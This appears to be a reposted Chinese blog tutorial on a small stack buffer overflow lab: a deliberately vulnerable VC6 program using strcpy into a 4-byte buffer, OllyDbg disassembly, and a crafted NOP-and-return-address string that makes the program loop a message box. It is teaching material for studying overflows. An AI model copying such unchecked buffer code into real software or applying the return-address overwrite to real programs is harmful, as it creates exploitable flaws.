zoukankan      html  css  js  c++  java
  • [转载]一个小型的溢出实验

    来源:〓中国黑客联盟〓总站论坛
    作者:玄风残翼

    实验环境:Microsoft Visual C++ 6.0,Windows XP SP2,补丁至最新。OllyDbg1.10。

    实验目标:构造存在溢出漏洞的代码,并构造特殊代码以利用这个漏洞。

    漏洞代码:
    为方便调试,我们用的是VC6.0的Win32 Console Application工程,切换到Release模式(Build->Set Active Configuration),关闭最优化编译选项(Project->Setting->C/C++,Category选General,Optimizations选Disable)。这样处理以后,用户代码在编译以后会生在0x00401000处。
    #include "windows.h"
    void over();//一个易溢出模块
    //下面一串字符串模拟一串远方传输过来的一个数字流
    unsigned char szOver[] = {0x90, 0x90, 0x90, 0x00};//一共4个字符,并不会对over()造成溢出。
    int main(int)
    {
        MessageBox(NULL, "A normal call", "Try", MB_OK);
        over();
        return 0;
    }

    void over()
    {
        char szBuffer[4];
        strcpy(szBuffer, (char *)szOver);
    }
    编译,用OllyDbg跟踪(由于各位读者的编译环境不一定和我一样,所以跟踪结果可能不同,请自行处理)。跳到00401000处。
    //我们的int main(int)
    00401000   /$ 55           push ebp
    00401001   |. 8BEC         mov ebp,esp
    00401003   |. 6A 00         push 0                   ; /Style = MB_OK|MB_APPLMODAL
    00401005   |. 68 3C604000     push TestOver.0040603C         ; |Title = "Try"
    0040100A   |. 68 40604000     push TestOver.00406040         ; |Text = "A normal call"
    0040100F   |. 6A 00         push 0                   ; |hOwner = NULL
    00401011   |. FF15 9C504000   call dword ptr ds:[<&USER32.Messa>; \MessageBoxA
    00401017   |. E8 04000000     call TestOver.00401020
    0040101C   |. 33C0         xor eax,eax
    0040101E   |. 5D           pop ebp
    0040101F   \. C3           retn
    //我们的over()
    00401020   /$ 55           push ebp
    00401021   |. 8BEC         mov ebp,esp
    00401023   |. 51           push ecx;晕死,为了申请四个字节的栈空间,随便往栈里压了个数据。怪不得总是说要初始化
    00401024   |. 68 30604000     push TestOver.00406030;构造的攻击串地址,参数入栈
    00401029   |. 8D45 FC       lea eax,dword ptr ss:[ebp-4];得到刚才申请的空间的地址
    0040102C   |. 50           push eax;参数入栈
    0040102D   |. E8 0E000000     call TestOver.00401040
    00401032   |. 83C4 08       add esp,8;刚才两个参数出栈
    00401035   |. 8BE5         mov esp,ebp
    00401037   |. 5D           pop ebp
    00401038   \. C3           retn
    溢出攻击是更改retn时所用的栈使之跳转异常。这次攻击我打算让它跳转到代码MessageBox(NULL, "A normal call", "Try", MB_OK)处,在可执行文件里,它在00401003处开始参数入栈。在over()函数里申请了char szBuffer[4]以后,栈里结构如下:
    Stack+0->szBuffer[4];
    Stack+1->pushed ebp;
    Stack+2->Retn add.
    所以我们的攻击串只要比正常串长多8个字节,而最后4个字节是地址00401003就可以让它在执行时跳到00401003处,不断循环弹出对话框。用一贯的规则,是用0x90(对应ASM指令nop,空操作)填充不用的空间。
    构造攻击串如下:
    unsigned char szOver[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x03, 0x10, 0x40, 0x00};
    完整代码如下:
    #include "windows.h"

    void over();

    unsigned char szOver[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x03, 0x10, 0x40, 0x00};

    int main(int)
    {
        MessageBox(NULL, "A normal call", "Try", MB_OK);
        over();
        return 0;
    }

    void over()
    {
        char szBuffer[4];
        strcpy(szBuffer, (char *)szOver);
    }

    编译运行,就可以看到这个程序在不停地弹出消息框。
    PS:大型的溢出,会把一份完整的代码写入栈中,再通过非法跳转,运行这份代码。这才是溢出的真谛。
  • 相关阅读:
    Windows:生成环境Word,PPT,EXCEL com+组件配置
    Win10 计算机管理 打不开应急办法
    Js:弹窗剧中
    Asp.net跨域配置
    Centos6系列安装nginx
    Win_oracle_exp/expdp备份
    MSSQL:查看某个账号使用得数据库
    MSSQL:查看作业情况
    MSSQL:账号无法删除方案
    MSSQL:删除系统作业计划
  • 原文地址:https://www.cnblogs.com/erwin/p/743548.html
Copyright © 2011-2022 走看看